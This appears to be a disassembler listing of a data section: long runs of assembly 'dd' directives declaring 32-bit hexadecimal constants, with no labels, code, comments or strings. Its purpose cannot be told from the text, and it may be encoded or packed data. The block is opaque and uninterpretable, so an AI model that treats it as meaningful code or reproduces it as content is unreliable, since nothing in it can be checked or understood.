		dd 0E13D4FC7h, 86446FB2h, 14E301EFh, 0B263632Ch, 3F916998h
		dd 0F9C8F651h, 26905DEEh, 0B5D9854Eh, 5A705A64h, 9692ECC6h
		dd 7BCB2DAEh, 942C7813h, 3D1864E9h, 4B8BF458h, 2725721Fh
		dd 1C9B1B8Dh, 556AD2Eh,	50551CEFh, 7117280h, 1652731h
		dd 831C77F9h, 3F30EDE7h, 9C60892Fh, 0E72A5B9h, 0E1811E02h
		dd 43A74C84h, 6CC8E230h, 81249F48h, 0A1E58757h,	6E298670h
		dd 0F6987281h, 0F167DC6Eh, 132A5E60h, 90666328h, 7EC60CEEh
		dd 570C2250h, 7D311D13h, 806C907h, 46802004h, 4E1F7B4Eh
		dd 4094FD5Bh, 0C5A98B08h, 88852A77h, 4E0FCABBh,	5889D3A6h
		dd 0C8EB5776h, 0CE08A984h, 61E5D715h, 8C75EBDFh, 38139CBCh
		dd 0C49EECEEh, 855FE372h, 0EF3F74A5h, 3A68FDC0h, 9E46975Dh
		dd 48950F84h, 0A8F21A0Eh, 2408CC98h, 83A94ADAh,	7AA6A2F6h
		dd 0E9F009F0h, 0F1C75C5Eh, 0ED80DDC0h, 0C12AE1F9h, 9094C321h
		dd 31053806h, 0EC2DC6E9h, 14680EECh, 0EDD1923Fh, 4D03CEFFh
		dd 6552AC25h, 8F7D08CFh, 32488D8Bh, 87D400E4h, 0B5DE0943h
		dd 0A8125D58h, 0FD12CB36h, 8BBC3EAh, 0DF7BBA0Ah, 0F212A573h
		dd 5E044BE3h, 0F9A625E9h, 2FCD3CFCh, 311741BAh,	7E35EA51h
		dd 9FC18000h, 538878B9h, 0AA5A161Dh, 0D1F61C05h, 0F31E88AAh
		dd 0D3582079h, 45B3EAAh, 0A3BEE9DEh, 856500Ch, 0F1007194h
		dd 0DA55510h, 0C6569509h, 0FD548FC2h, 0A6173AC6h, 0F7A20123h
		dd 21DFC301h, 0F0581EDEh, 71EF5EF3h, 0CCB43E6Ah, 0B8BA5EEDh
		dd 7A68E03Bh, 64410144h
		dd 2111E958h, 6BA36F01h, 6F30991Eh, 835B4DC4h, 0BD59E200h
		dd 0B87EB55Dh, 52EC2FADh, 53688718h, 0DECB285Ch, 30BE1F13h
		dd 0B5DAB217h, 6300926h, 0E9200728h, 0B466C40Eh, 0B02583CAh
		dd 0C5ABE583h, 0D7A0ECAFh, 0D56996EDh, 282725A2h, 20421677h
		dd 3690F56Eh, 0EA68522Dh, 76ACA99Ch, 57412515h,	20B94931h
		dd 0C9A9258Fh, 13C9F0EBh, 2A848D4Ah, 16E0A2BAh,	1B08EE29h
		dd 0CA7425D0h, 49ED1744h, 0EC6C4A79h, 9CE9B1B3h, 5825866Ch
		dd 9ECC4BF1h, 630C04BAh, 0AF292553h, 0F24FA8CFh, 2D0E1735h
		dd 0E25286B3h, 5FEB8610h, 0B526D5A4h, 5F88925h,	0FB4A5712h
		dd 5FE0A0C9h, 70B99D95h, 6657EE56h, 0BAA88164h,	0E8A11A7Ch
		dd 85D2791Ah, 17E351ADh, 1411B39h, 57A547BFh, 54B2C284h
		dd 80A45145h, 4E4A788h,	8505E1C0h, 6DD804C0h, 405135Bh
		dd 604EAA8h, 0FC133E8Fh, 42AE2768h, 904D759Fh, 0E1EAE984h
		dd 46C732FAh, 887D8CD8h, 13C533E5h, 0CA842F0Ah,	275EA0BEh
		dd 5D1E7A13h, 125F16EBh, 9434BBE5h, 5B0BC0FAh, 58001CF3h
		dd 4E3AE05h, 4A895551h,	52CAB1C5h, 0D157EABCh, 1FA5BE46h
		dd 452D24C0h, 72DD391Eh, 967F9B89h, 0C4F35E8Dh,	0CFB5FCE5h
		dd 8A4F8556h, 77F3BE61h, 9ED45E02h, 1516444Bh, 5E2A3568h
		dd 0C213F24Fh, 50D1E959h, 49FC9756h, 6519E8E9h,	0BB68809Ah
		dd 0EDED6B4Fh, 2727F84h, 8E015E5Ah, 0FD5809D1h,	737F9B1Ah
		dd 0BD7B6937h, 1F10F310h, 0D9311D3Bh, 5B9A1EC9h, 0E1D44B6Fh
		dd 341D03BDh, 0A662E94Bh, 24F8773Fh, 81FF1975h,	0FEFF44C5h
		dd 270E6FCDh, 66AE7783h, 0FC4ECE94h, 51C165B8h,	6A276F68h
		dd 17E9758Ch, 0FD0113F4h, 70B8CB4Fh, 0EECAF00Eh, 0AB4E5474h
		dd 0B65225B3h, 614E86FCh, 98905C3Bh, 0E364847Eh, 0C629164Bh
		dd 0C394AB0Ch, 1270E5FAh, 0B2DEB245h, 98EE200Ch, 0FA015B00h
		dd 2DCDBF57h, 813F02FBh, 552446EAh, 0B8E56077h,	0DA63EE4Bh
		dd 80B1C28h, 492C81DDh,	0C1703B7Eh, 74201ED6h, 56A07008h
		dd 2E4E2328h, 158841EFh, 0E006BF5Ah, 0FB9536E5h, 7B92BDA7h
		dd 0C1B834F7h, 2A316B18h, 14F49337h, 849895Fh, 72790CC6h
		dd 28B05080h, 20B26684h, 0B17A37B3h, 99E1803Eh,	0C105C9FEh
		dd 0F9CFF1E4h, 0C9743D5h, 0C74902A5h, 185526E9h, 0FF89519Ch
		dd 2607C6CAh, 66B6B039h, 74DF295Ah, 0C316562Eh,	0F94E4EACh
		dd 91B1841Fh, 0F94B51A9h, 2CFDF451h, 96DD1E16h,	0E516120Fh
		dd 8D095346h, 55F0E064h, 73921FBDh, 0DDF74936h,	0A057C38Ah
		dd 0BB67BDF4h, 8209E3A6h, 424EF1EEh, 25516D76h,	0DF59173Ch
		dd 3A5F29BAh, 6A2742D6h, 0CCC41F54h, 0C388D460h, 950E1332h
		dd 415FBD37h, 491C8208h, 0CC526C11h, 0C68162Eh,	4B6BCA58h
		dd 0B22A7CC8h, 0EF294E2Bh, 2FCEF12Ch, 0E64223E9h, 0A67C45F5h
		dd 0F3B0142Fh, 6E1618D4h, 2641F32Dh, 8BA78E2Fh,	6B71D1BCh
		dd 0F4FEB1DDh, 0BA0A1838h, 26E7552Eh, 415A45D4h, 772195E0h
		dd 0FEF8700Ch, 0D07A0981h, 0F12F0E88h, 0E6317C7Eh, 5B5D1CECh
		dd 6D168378h, 0ED0CDD84h, 0A2F86A2Eh, 3FAFD03Dh, 0B20F9F4Ch
		dd 0A3EAC0E7h, 3BFFC280h, 6179A306h, 0E9022801h, 5E1C38D5h
		dd 3E603FA6h, 0F68038B6h, 53518F1Ch, 0E32AB58Eh, 0E7C5FED5h
		dd 0FBE91920h, 6529BD1Ah, 82F73705h, 0DC98A493h, 0D69D5B54h
		dd 67FB501Dh, 0D181189Dh, 18510D79h, 200BD5BFh,	3AFF8B5Ah
		dd 17D611E3h, 0B5431715h, 7CD1CFF5h, 9309C3E0h,	4F028CCh
		dd 97FC0B03h, 0EC54129Eh, 5CB0B4C2h, 0FC0828F0h, 0F44CBDDCh
		dd 0A3520C82h, 9FA75A26h, 129277A7h, 759B8F40h,	9741C826h
		dd 2708C294h, 5FFD1A5Fh, 2D4EAEFAh, 0E93AB3F1h,	0BB53C012h
		dd 25735156h, 3FDA3109h, 0E71D54A0h, 7A825582h,	3AD4FBB4h
		dd 0C87FA49h, 172A4F0Ch, 5002B60Ch, 0C5E91D4Ch,	537A46BAh
		dd 4D59FA28h, 31ADB428h, 2826C1F6h, 0D0A870DAh,	0C02C5A1Fh
		dd 0D169E249h, 0BF7F3CC6h, 82743C09h, 13E184CFh, 0B30526E3h
		dd 8026EC42h, 0ED0C3A54h, 38206090h, 4E94971Fh,	0A4B76590h
		dd 0BAFE567h, 0DF8596A9h, 96B9F28Dh, 0B6569A1Ch, 392888E0h
		dd 0DA0380EBh, 1E045966h, 662CE83Ah, 0E7C6C3CCh, 19515FC2h
		dd 80B8FF6Bh, 0CAACC681h, 0EF3F7A02h, 7FE3D149h, 1ACBF810h
		dd 6946E426h, 0EC7A8E02h, 2091FA9Dh, 5D5C62D2h,	1EFB558h
		dd 13CB3CFCh, 5B54029h,	350563A1h, 2DF00170h, 1428071Fh
		dd 3B5170B0h, 9C7AD820h, 3A5C0CD0h, 442FFB50h, 612B7691h
		dd 70420EB4h, 0A2A55FF5h, 35CD5093h, 0B88A7AEBh, 0ECC5AEEh
		dd 51C95F21h, 2388677Ch, 0B97DA53Dh, 0B62B5859h, 87166530h
		dd 50DF9E07h, 11E92231h, 89DFFE2Ch, 6CD75256h, 0C570F505h
		dd 393FF71Ch, 726FFC0Ah, 61BDE5A6h, 8B24DA0h, 0CB61080Fh
		dd 0FC5A02EDh, 18CC6C68h, 44F9194h, 0C58DFC4Ah,	0C649180h
		dd 0EAC1236Fh, 52A0035Fh, 206D58E1h, 79A23710h,	75EF477h
		dd 39EE65A4h, 8F0476E6h, 0E75EF531h, 0BD166F11h, 42E3E909h
		dd 4E4E5502h, 4D0B1C90h, 77170322h, 2F082228h, 0A1A01445h
		dd 68BEB1B7h, 9E7664D1h, 99549525h, 2A8EBE87h, 35B46CC7h
		dd 0CA81E1D0h, 0B597F32h, 0D1D2F773h, 887F2278h, 92DB52Dh
		dd 993E03D0h, 3AA74C2Fh, 3D66191Fh, 9D41F9A4h, 484140B9h
		dd 0FDF1817Bh, 0A9E90DC4h, 0B4A114D4h, 0DA388BE1h, 0F6F5B007h
		dd 0D10129D0h, 30C1305Bh, 5E827969h, 0F3BF81DDh, 0F855EE37h
		dd 0A6927B5Eh, 5831874Bh, 14385854h, 6AE0EDB1h,	73A70741h
		dd 0D2206F5Dh, 6776E030h, 0C2E60C43h, 84FD2C6Bh, 94BE58F7h
		dd 99F2EEBCh, 597D5CB2h, 8CF627DFh, 0D946152h, 0E8C0FB38h
		dd 3510F01Ch, 6055CC0Ah, 9808AD1Dh, 0B75300DCh,	6BEF800Ch
		dd 281C0407h, 5B472CF8h, 17528C33h, 0E531212Ch,	0AF922F8Ch
		dd 87685D5Eh, 0E930778Dh, 3CF41E7Eh, 0B86E4F4Ch, 0BDB24FADh
		dd 0B092FB95h, 222DE92Bh, 0C4CEDC05h, 0B0080434h, 7E478EABh
		dd 6413C75Fh, 0C11FC1BEh, 618505D7h, 8D329DD6h,	0B5E98BA4h
		dd 38BEED60h, 428A1412h, 41EF78D7h, 5B334352h, 7DE5A63Ah
		dd 975983FCh, 58444EC7h, 0CCDA2C5h, 19D63283h, 76F110E7h
		dd 0B3414056h, 69300C48h, 0BB7A0E4Dh, 297631A2h, 4E43F56h
		dd 5B22B2C1h, 7F76E32Eh, 23A6504Eh, 13702A79h, 0C1D9FE3Ah
		dd 2D02DD78h, 0E2793049h, 9160AC81h, 8AA44F78h,	19644AE9h
		dd 0ABD9AB12h, 0AA96C47Eh, 52607961h, 0A63BF805h, 7CCB094Eh
		dd 0C8053B25h, 0EE0602CFh, 0AB416008h, 0C8102A29h, 0B3E91308h
		dd 565AB949h, 0F5DD58DDh, 0C3A88B82h, 59A194BEh, 0B5420AAFh
		dd 4C38A944h, 68FE4A58h, 684AFF2Dh, 752EB932h, 6983D088h
		dd 719C0282h, 0C2ED16F5h, 30210CB9h, 0A07203DDh, 0B5AF5B18h
		dd 0A6607EEDh, 2C4362E3h, 89CD017Ch, 0DD79537Bh, 5484DBB9h
		dd 26897C5Eh, 0E1825EC5h, 6F69F968h, 6B09DAE6h,	73F87F65h
		dd 557F30Bh, 20C5C27h, 1F0C36FAh, 5EFFB640h, 25C6D45Ch
		dd 0D164E06Fh, 0C8172E1h, 4BA56DF7h, 0B617FB68h, 6BE86EB4h
		dd 0E4AF8C13h, 0D160F358h, 0F25563A3h, 744B6E6Ah, 0A6705369h
		dd 0E9125B79h, 85EC0154h, 7597A98h, 130EF93Fh, 9235A7A3h
		dd 0D2C61C0Eh, 0E988C1FFh, 1D3E8Fh, 0BCF8DE57h,	9BC42C5Eh
		dd 7ED40E5Ah, 0F9B8B1C0h, 963C9AD7h, 4803EB2Ch,	9303FCE7h
		dd 557C52B8h, 0E1CAD93Fh, 6090977Eh, 51747660h,	3B0B681Ch
		dd 0DA593ECBh, 54C0B564h
		dd 0F4FE7988h, 78028AB0h, 0E9622A56h, 1C28582Dh, 0D258C531h
		dd 0DD591EFh, 0A1B32B6Eh, 0DC420F25h, 9D8614F5h, 554BD8D8h
		dd 3A343B8Bh, 7AE7FEBCh, 10620224h, 6D240193h, 0E34762Ch
		dd 7F28BDC8h, 237327C7h, 8086E87Bh, 0B50601C1h,	0A5CFCAF1h
		dd 3F000121h, 2E685251h, 3D562F45h, 2A682450h, 0CB3CD80Fh
		dd 3AA25F41h, 0E27E1C4Ah, 154013DDh, 682C6CBAh,	0DC12992Fh
		dd 46D552AAh, 0ED4E30EAh, 0FB62C339h, 0C69F230h, 492161B3h
		dd 4194B1ABh, 9F27DA94h, 0EDE603C4h, 5B2024Ch, 61D5FB95h
		dd 5079F8h, 0EB5FC073h,	0ED98D651h, 1361F0EDh, 0A474CD26h
		dd 8818928h, 8BA5595Bh,	82394E1Ah, 5DC8218Eh, 749F42ECh
		dd 43E98F6Bh, 86B85473h, 9746320Bh, 0CA6A0702h,	7EDBF520h
		dd 5831E37Dh, 1F619564h, 0C02EA43Eh, 38424AE6h,	4627E96Fh
		dd 40C9A4Eh, 59013192h,	6C7F3868h, 0CA06C4B1h, 80E2A214h
		dd 0FE2C2974h, 5C095569h, 9A30D87Fh, 2F9304D0h,	0AF31176Ch
		dd 405C6366h, 0A7EC5EF9h, 5F0A552h, 763F518Bh, 72BEFC01h
		dd 0D396127h, 1CA20841h, 13BAF814h, 0F61E1644h,	5DC56461h
		dd 62AEFBD4h, 0D1FED29Fh, 2C222D01h, 0C3387F66h, 4A61C410h
		dd 739403B8h, 7222B2E1h, 0ED838605h, 0B4EAF0D8h, 3ED389F5h
		dd 570E1ADFh, 0C1D9D3B0h, 0AD2B4082h, 4F463D68h, 4AEADB90h
		dd 9FF710B0h, 0BDD12E09h, 53A1DDA7h, 3C426C68h,	119DCC4Fh
		dd 0CBA869E9h, 35630157h, 0CB2E012Bh, 30522D2Eh, 9742E1A3h
		dd 0DCBEA14Eh, 9D1C8D46h, 0E64973D3h, 49DE9F37h, 84D31888h
		dd 0C765B050h, 30586130h, 0A68168F8h, 0BBE91226h, 7131FBD4h
		dd 3B73C89Ch, 8E1F364Ch, 0A85209D9h, 2D8308A7h,	57D9C5h
		dd 0BF5AF528h, 0B66300F9h, 0E9F080C9h, 5D5155C3h, 0F93D1B20h
		dd 10ABF36Bh, 0AB68D31Fh, 39B23FECh, 8348886Bh,	0D18B01BDh
		dd 0A14D951Ch, 93DA6001h, 0C0F55C02h, 701068A8h, 13FE9F0Fh
		dd 19DAC3E3h, 5ED27C4Bh, 7E293C59h, 69E1FA4Bh, 61BAE415h
		dd 893FF146h, 57F7881Ch, 0D4AF8B8Eh, 95AB4D84h,	57DBDFAh
		dd 0BA2EA7DAh, 767916B8h, 0C83400E5h, 0D5874570h, 0E92DDAF7h
		dd 45D48BB1h, 27F3281Eh, 3C92CE1Fh, 9D53A377h, 0C76D5BF7h
		dd 0B93900A5h, 5F68FB29h, 3405DE06h, 40816D42h,	5E02BFC0h
		dd 20CED852h, 0FDAA301h, 0E957B029h, 9A00B593h,	5A0D40BEh
		dd 92466D3Dh, 33EBE21Bh, 0E75FE3C5h, 502DDBB8h,	68C198D9h
		dd 9C762ADAh, 5C1CB510h, 5AEE2527h, 95D1B01Fh, 0F0102B4Bh
		dd 0CE5B7710h, 0E2D10E3Fh, 550240C1h, 98DD40BDh, 0CB315E26h
		dd 0D6291F5Fh, 0C94009D2h, 0BC44A9BDh, 0ADBE3471h, 6F12FB0Bh
		dd 6E4F04BBh, 5FB300FFh, 323BB551h, 8A92EB30h, 80010174h
		dd 0E708D7C4h, 0EF1C133Ah, 0E34ED3DEh, 0E7800E4Ch, 44D27F96h
		dd 685BC701h, 342A5F93h, 242CFA73h, 0F2265FE0h,	0FEF85F31h
		dd 0E2FE4037h, 0DC5E6F9Eh, 3928E63h, 73E3ED85h,	0C04762Fh
		dd 8C3125Fh, 0CE3D67BAh, 0A90DBC72h, 0D97EEAD9h, 79DD42DDh
		dd 1425975h, 7E5782CAh,	35D1F56Eh, 9AE23B13h, 0D2FB8B9Fh
		dd 69BDD252h, 0C00027Dh, 15B0A44h, 4D908BF4h, 4A7A2328h
		dd 0DB34FEFBh, 84935983h, 0B04DF2FFh, 0BFEC29E9h, 457517CAh
		dd 0ED688525h, 85B74B6Ch, 4576A6D0h, 0F6B5BA76h, 5D545849h
		dd 680549B3h, 98FA599Ah, 165050AFh, 73408788h, 0BE0092Dh
		dd 88FF25AFh, 94250758h, 0B5D38C7Bh, 0F783FDDAh, 32012391h
		dd 85BA9677h, 0ED3CFEDDh, 1BD48833h, 0AA00C4B2h, 5D39C442h
		dd 272B7005h, 89583141h, 0DCE00783h, 67FB8365h,	254E1059h
		dd 814A5073h, 992D077Eh, 0F2428C18h, 4DF428AAh,	3B33BF40h
		dd 0A8B95E0h, 0AA0997D0h, 728443h, 6508262Ah, 3F5EB41Dh
		dd 1CA00851h, 0BB532814h, 6D24C123h, 424A1C56h,	0B09B6ABh
		dd 5F46325Dh, 10F7C4E2h, 1667E2A9h, 0A889FAE7h,	0E5D784CDh
		dd 0FE4BE310h, 9B601239h, 156880BCh, 0C3906E48h, 9B51DE88h
		dd 0FC7ACE5h, 0FE5AF480h, 0DC861DC3h, 0EECED280h, 71E9D021h
		dd 0B754D274h, 0E9C1D95Bh, 416A066Bh, 932D1A26h, 0FE43B4Ch
		dd 0A2353205h, 802F01B1h, 0F0F812F5h, 350597EEh, 762DEF2Dh
		dd 6855B980h, 7BD4597Ch, 78ED48C6h, 0EA892D0Fh,	1272366h
		dd 5A297CD6h, 0EAC9E5B0h, 95697582h, 3A51E82Ah,	7BEB6396h
		dd 74E98BF5h, 6A2CF211h, 0ED4E448Bh, 0D41A989Fh, 5F9E0563h
		dd 5DA4B0E9h, 215DC791h, 0D020A4F8h, 5B75352Ah,	9777316h
		dd 30F3B9E0h, 0E908D6F7h, 9AA4346Dh, 4FA1A250h,	0D9559AAAh
		dd 9260ADA9h, 4E590F68h, 2DDB845Eh, 0A0EAD61Fh,	0D5096420h
		dd 931032Bh, 0E56AC36Fh, 0B5E02ECCh, 266FC174h,	712EF91h
		dd 29739BBBh, 7928A2A7h, 86A84D5Fh, 0A2E2CE9h, 1969564Dh
		dd 5E0BD3F7h, 2B5A360h,	0E9259469h, 665F3B43h, 45870B8Ch
		dd 0E4835098h, 378FFEBh, 0FD13B82Ch, 0A3354001h, 0E9DC3271h
		dd 0CC7FFF5Ch, 7F7089EDh, 240A11B5h, 0A08B21ADh, 0B20C4FC0h
		dd 0FF314927h, 46FD7B29h, 0C0F19701h, 7DCDCC09h, 26FBC833h
		dd 0EEA7E310h, 0AAE62012h, 745D8C09h, 0F14027B3h, 25844FBDh
		dd 6A2167B0h, 3FD0F780h, 8F79237h, 0C705F967h, 68DEBB22h
		dd 0BF27B515h, 48E404F0h, 0EA161BA6h, 0BF2CC520h, 76F50080h
		dd 0E950D5F6h, 99B4B4B2h, 314A2140h, 59CD2409h,	4FE9C2CBh
		dd 13A05778h, 942748A2h, 0EE655A33h, 0B411178Fh, 40D41E21h
		dd 841B5EE3h, 5B31E90Ch, 3594614h, 0F1C9BCC7h, 3101D2F1h
		dd 0A67471D5h, 3C10C108h, 0B67D6812h, 4C770B94h, 50A7D03Eh
		dd 0F0C60673h, 2EAF2522h, 8A09D7Eh, 0C5EE5A49h,	23C83243h
		dd 101D0A94h, 12FC597Ah, 0C0A00B05h, 218F03FDh,	0D11989E9h
		dd 805AEE83h, 9DD132C1h, 3B442AB8h, 0CCBBC8DEh,	99D6D0Dh
		dd 95C39672h, 68502B48h, 6CECC2FBh, 2A66D52Eh, 0A2415D6Bh
		dd 4156F485h, 3E5C8EA9h, 8F03989h, 67249CB2h, 0CA205879h
		dd 0FA463D0Bh, 5067401h, 8212C273h, 0BB7C6390h,	8346D55Ah
		dd 8E62E91Ah, 0ADB56D16h, 68C1B474h, 253318AFh,	0F3A8148h
		dd 40013BE0h, 5F601FB6h, 0A2323998h, 8F5E950Ah,	6D9590A0h
		dd 0B3168809h, 56A15128h, 88E86AAFh, 0D2989316h, 80EAC207h
		dd 1CD8A683h, 257DD9FAh, 84FE51A5h, 898E446Ch, 1F0FEAC7h
		dd 210B9C58h, 0C1489301h, 77DE431h, 820B12D4h, 0E5041B5Ah
		dd 1A8584D5h, 0CDDF3808h, 0A4591754h, 8EEEE710h, 0F40C5248h
		dd 0BD8834EBh, 5F0E841Eh, 38F66803h, 20F6AA84h,	0CC16194Ch
		dd 0D3FBF810h, 285D6BFh, 9705E916h, 0C1F6FE23h,	0FC6C5901h
		dd 1AFABC5Fh, 45206A4Bh, 7EE9A50Eh, 42443ADBh, 38AF5BDDh
		dd 0AB49E9A3h, 0F9280303h, 0D5D05B66h, 52A0AAA8h, 0B02533B6h
		dd 2FBC7E57h, 728B9A54h, 393277DCh, 0EA63A585h,	0F6556498h
		dd 9701ECE8h, 8A8D7D3h,	0EC598840h, 0E41F4FCEh,	0B55920B1h
		dd 0F70FF140h, 7EFA3001h, 533F9CE6h, 9AF962F9h,	0EE98525Bh
		dd 0E0891171h, 0E2DADDh, 0EC3DB5BDh, 96B0604Eh,	0B0547832h
		dd 0A6CD4EEBh, 30688267h, 13CD4C12h, 0ABAA7CCEh, 6284F82Dh
		dd 80461845h, 621299A8h, 0C0EC5F5Eh, 0C328EC81h, 0ECC73572h
		dd 45302143h, 6A351C40h, 9529FC1Ch, 0A361EB60h,	5E934299h
		dd 0DDD03E56h, 9FD508Ah, 0C9CFE919h, 0DC97E3E6h, 0CE2642BAh
		dd 856C4DFDh, 0BC27ACE9h, 2E18D6D2h, 0FB4C327h,	434B8F41h
		dd 0BBBB1C84h, 85BFFA40h
		dd 2D507D64h, 0BCD6E7D1h, 0D3EE5F1Eh, 99A0F158h, 1630999Ch
		dd 0D06B532h, 5FCAF209h, 44381E68h, 2771BE3Eh, 80998190h
		dd 39E07FEFh, 2FB692B7h, 0B498164Dh, 55254225h,	3DAAFA76h
		dd 4020711Fh, 6B25AAFCh, 0A845448h, 8AD5057h, 2909D0B4h
		dd 0FF6E04CDh, 6FDC0F90h, 452F383Dh, 1671FDCEh,	3A014D01h
		dd 913E9277h, 0CC7B4F60h, 5E4CE681h, 0B475C2E1h, 53AA26CEh
		dd 98555224h, 9DEDE9CBh, 0D82DE751h, 7E313A57h,	0CB41499Fh
		dd 7CA9F33Fh, 90811707h, 0CF5ED446h, 3DAE014Bh,	2A9C3F2Ah
		dd 0E6CA4F48h, 0BAE9C276h, 969ED509h, 0F5B61132h, 57FA7FD3h
		dd 815BFEC8h, 0E4639FF5h, 53BBED31h, 0B43F418Ah, 930FF408h
		dd 0E5951629h, 0E541F0EEh, 4D5F3EDAh, 5D33662h,	88D5360Bh
		dd 464FBE1Bh, 0F5E5EFFh, 0A09460F7h, 0D40C5085h, 4C1AB5Ch
		dd 0ED6A4F09h, 89211365h, 0D83E1ECDh, 1B6463D5h, 0F6BB560Ah
		dd 28FB4A7Bh, 945F0E04h, 0D45CA4CFh, 0DF983F18h, 98B74A3Bh
		dd 451621Ch, 2DE90FB1h,	2A1AD86Fh, 667DB4E8h, 0DF28F929h
		dd 90B87849h, 1BD855ADh, 77127623h, 6CB9DD99h, 8668C222h
		dd 0A74D7508h, 0A87498Ch, 1F800AB9h, 7925835h, 8FA44331h
		dd 7E90FBF6h, 9D5E34E9h, 0A4405871h, 0F13EE15Bh, 50D0A920h
		dd 5D5EC81Eh, 0C8E44E2Dh, 0A604683Ah, 5A773B40h, 4D0404EDh
		dd 0FF4BFC62h, 0F84CAD4h, 0FD290A09h, 8F5A2720h, 1C9F4047h
		dd 386817BFh, 0CA586156h, 3F96334Eh, 184BFA5Fh,	0F6BA1184h
		dd 0C15A02F5h, 614A05EAh, 3D72C4A4h, 0B4B6507h,	0D47DB403h
		dd 6BF2EB24h, 5C793C4h,	60AED189h, 0F820C1B4h, 769B8D25h
		dd 0B0B11259h, 460EB8B2h, 413F2D42h, 4ECE12B6h,	53C03262h
		dd 5A6E5068h, 33E9440Bh, 96D926Bh, 58AA82C6h, 0D70EA4h
		dd 9644EB58h, 5E012D57h, 0E933C50Bh, 0C4047625h, 0C4A3C727h
		dd 0C1B702D3h, 0F610C0C0h, 0CFFE30D7h, 0D6F78004h, 9A1663BDh
		dd 0C109E0E7h, 629194BFh, 0D0090BBEh, 88B6EEEBh, 7616F5EEh
		dd 0E5F07019h, 1B53608Ah, 0F697E2EBh, 8277C90h,	0D2CEF1E4h
		dd 7923647Fh, 8719917h,	5917F114h, 30DA79AAh, 0EEC0E672h
		dd 68675E35h, 1777B0B4h, 1DBD6651h, 237A44Dh, 7A213147h
		dd 7EEE9960h, 0C2A5230h, 0C0AC1979h, 0AFFFF754h, 40C1BAA2h
		dd 62742B4Ch, 0EB287E78h, 69E0B608h, 0B49B96D7h, 0E2C64214h
		dd 0EACE6D7h, 0C3FE63B3h, 9214F6A5h, 0F7AEFB97h, 0DD21C0CBh
		dd 72522BB5h, 2FE9C2E6h, 0D228DEF3h, 0B5216E5Dh, 62B528D0h
		dd 1CD958BEh, 704A42E8h, 627F7DDEh, 0AE181260h,	18650617h
		dd 3C212AE9h, 881CF2B1h, 0E0E559CBh, 81F8075Ah,	3E8DD95Eh
		dd 9F912116h, 9C0511D8h, 0C63F80E7h, 3739369h, 5271BB4h
		dd 29913A96h, 94EA9FAh,	458362E9h, 52580FB7h, 62C2A2C9h
		dd 0EC2DB1DCh, 0FF830F2h, 12C7BB1Ch, 0CE4CE330h, 4CA54FB3h
		dd 124A0FE0h, 0A59DADE6h, 0B0DA3404h, 74C4500Eh, 0BEA49420h
		dd 0EAC3701h, 0B06A2904h, 6B6BDDC4h, 6680571Fh,	47F50A84h
		dd 1A8E818Ah, 51E51D45h, 10F13920h, 1137C69h, 3DC2B58Fh
		dd 5A70F989h, 558440DBh, 246CAFA0h, 2720E7B5h, 1F203BC4h
		dd 0A76805D1h, 0AF2E4B63h, 702D1EE3h, 0EDBDCC60h, 0D44896FAh
		dd 87957C9Ch, 0D0E75DEEh, 7DADB37Eh, 17762E5Bh,	9AED0732h
		dd 0A51EC11Dh, 0D96C2E10h, 6487FE95h, 5DBBD31Ah, 785762A1h
		dd 2C58C061h, 4812159h,	2A65EFF1h, 0A85EBF7Eh, 52154802h
		dd 12AC8549h, 5F4A2A82h, 819DB263h, 2AF25842h, 677ED31h
		dd 0C6B1C907h, 0B19A3F21h, 3D31EA4Ah, 3C7FADE9h, 29E11C44h
		dd 7B57CBC1h, 70D8CA6Dh, 1E9F15AAh, 0BD90FEDFh,	8240E2h
		dd 1E75AC56h, 0B51295B1h, 413133ECh, 0FEB350Ah,	0C0C631F1h
		dd 81CDD817h, 0F97F20B1h, 0EC9660C4h, 0D0C42AB3h, 0F122FCD6h
		dd 0A814529Dh, 0C07F00BDh, 0F68005E6h, 0A971EDEAh, 30FC0C84h
		dd 12F3CBF7h, 0F008F828h, 515C0EDDh, 0F3EC97E4h, 6C73C440h
		dd 0BF586605h, 750388C2h, 5A0AF1E6h, 1A5BD068h,	0D8D924B2h
		dd 75BB01C6h, 0F703530Fh, 0E29660D3h, 11125D76h, 0F0A0E6C1h
		dd 4A1316FDh, 813BC036h, 0C2E6EEDh, 2D3B0F39h, 804B2F04h
		dd 38A09E83h, 0CF46F6E9h, 0E3EF5B60h, 5C1504F3h, 1350FA7h
		dd 4855A33Eh, 675F6D8h,	79E92906h, 4148208Ch, 0EEC41F78h
		dd 0A20E9892h, 66871070h, 1C8BBA68h, 0C10522AAh, 67086B39h
		dd 5820A82Dh, 871F40F5h, 60A0CB48h, 24E38108h, 5EF60E20h
		dd 60A0B951h, 0B850151Dh, 4D060676h, 2F21E911h,	1EC67265h
		dd 0CA645F70h, 0A4CF65FFh, 1E98035Ah, 29E7487Eh, 0D388C340h
		dd 550CFEEh, 4A16FF50h,	0C1AF3A23h, 23169CA6h, 53806013h
		dd 9A721E29h, 9C34C03Eh, 14BD221h, 90D42B5h, 7D4D7508h
		dd 3EA06885h, 37246B3h,	31959F59h, 0CF9B5AD1h, 6CB0AEC5h
		dd 0A306973Bh, 18F01601h, 549F0270h, 0FE044B9Dh, 0F9BC85E5h
		dd 21FF931Bh, 3E3206Dh,	8E29A788h, 58C4B840h, 0D1C8E930h
		dd 0CB8435E9h, 0F8CAFF24h, 0EB685C04h, 8731AF4Eh, 0AA050A88h
		dd 247F2ECBh, 0CA0902F7h, 2E6884CFh, 5C31AB0Eh,	0CF2E7B9Bh
		dd 0DF5925F1h, 3EE26618h, 0E9465709h, 0B77E70D3h, 0DE2591CDh
		dd 0E95670E5h, 5613555Ah, 0C28104AEh, 5A0683D7h, 0C0BAF3B1h
		dd 75F4E9DCh, 70BFD8A6h, 0F73CC4E9h, 814600CCh,	2425D8E6h
		dd 2D3D2263h, 0A7426C90h, 0C52C6FE1h, 60CE2768h, 110975E6h
		dd 970BD2Dh, 8B15E0C1h,	1FB9103h, 894C4936h, 77D1F0DFh
		dd 0C9AB9BB7h, 906F313Ah, 6EFD68B6h, 8F60FF9Eh,	223E70h
		dd 7A945EBAh, 0E9C2296Bh, 0C2BCE2Eh, 0E4EB3842h, 97845ED4h
		dd 8501C467h, 0D0B300C1h, 250D1F57h, 9846A500h,	2F054079h
		dd 0EA51FE23h, 0B1A7141h, 58C13190h, 0FD852977h, 14E4CA5h
		dd 40112E8Dh, 0A1E47F7Bh, 0E007E970h, 7C61A7CDh, 4D544Ch
		dd 325E19A3h, 81F7E3E9h, 1F70FA31h, 0AB5ADF27h,	0BD4E560Ch
		dd 4AD0A598h, 0FD12F9B8h, 0B9E8D214h, 4417FC5Bh, 54C90803h
